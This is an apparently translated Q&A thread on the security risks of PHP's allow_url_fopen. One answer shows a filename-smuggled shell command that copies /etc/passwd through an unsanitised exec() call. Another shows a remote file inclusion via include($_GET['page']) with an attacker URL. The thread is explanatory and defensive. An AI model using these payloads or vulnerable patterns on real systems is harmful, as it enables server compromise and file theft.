¿Cuáles son los riesgos de seguridad de PHP allow_url_fopen?

8

Recientemente estuve leyendo un artículo sobre file_get_contents y HTTPS .

Una parte que me llamó la atención es:

  

Por supuesto, la configuración allow_url_fopen también conlleva un riesgo separado de   habilitar la ejecución remota de archivos, el control de acceso, eludir o la información   Ataques de revelación. Si un atacante puede inyectar un URI remoto de su   eligiendo en una función de archivo podrían manipular una aplicación   en la ejecución, almacenamiento o visualización del archivo recuperado incluyendo aquellos   desde cualquier fuente remota no confiable. También vale la pena tener en cuenta que   tales recuperaciones de archivos se originarían desde localhost y, por lo tanto, serían capaces   de omitir los controles de acceso basados en las restricciones del servidor local. Como   así, mientras que allow_url_fopen está habilitado de forma predeterminada, debe deshabilitar   sin dudarlo para maximizar la seguridad.

Tengo 2 preguntas:

  1. ¿Qué puede hacer un atacante con allow_url_fopen y cómo lo haría?
  2. ¿Es allow_url_fopen siempre un riesgo de seguridad o solo cuando acepta la entrada del usuario en fopen wrapper?

Otros enlaces interesantes

pregunta Gudradain 22.10.2015 - 18:01
fuente

2 respuestas

2

Un ejemplo de escenario de ataque con allow_url_fopen que me permite descargar el archivo de contraseña:

  1. Supongamos que su aplicación me permite proporcionar una URL a una imagen remota, que usted descargará y usará como mi imagen de avatar.
  2. Proporciono la siguiente URL: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. Su aplicación usa allow_url_fopen para descargar el archivo y lo almacena como "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;" . Ahora he inyectado con éxito un comando en el nombre de archivo.
  4. Tu aplicación quiere comprimir y cambiar el tamaño de mi imagen, así que usas ImageMagick en la línea de comandos con algo como exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. ¿Qué ejecuta realmente exec ? Si no ha limpiado el nombre del archivo, ejecuta lo siguiente en el shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Dado que ; es un comando delimitado en el shell, el shell lo dividirá automáticamente en los siguientes comandos separados:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

Y ahora solo voy a http://yourapp.com/downloads/passwords.txt y descargo el archivo de contraseña. Por supuesto, puedo hacer lo que quiera, ya que estoy ejecutando comandos como su servidor web en su sistema.

    
respondido por el Simon Woodside 04.10.2017 - 04:52
fuente
1

Depende de ti! ¿Cómo diseñó sus aplicaciones y se le considera seguridad durante todo el ciclo de vida del desarrollo de software?

Considere el siguiente código inseguro que carga las páginas web de acuerdo con el parámetro de solicitud (página):

<?php
include($_GET['page']);
?>

Y ahora considere que un atacante incluye código PHP malicioso utilizando:

?page=http://example.com/badcode-php.txt

Luego, puede omitir todas las medidas de seguridad de su sitio y hacer cualquier cosa (acceder a archivos locales, cargar otros archivos, etc.).

Por lo tanto, se recomienda que desactive allow_urL_fopen y allow_url_include para minimizar el ataque de ejecución remota de archivos.

    
respondido por el Akam 24.10.2015 - 23:17
fuente

Lea otras preguntas en las etiquetas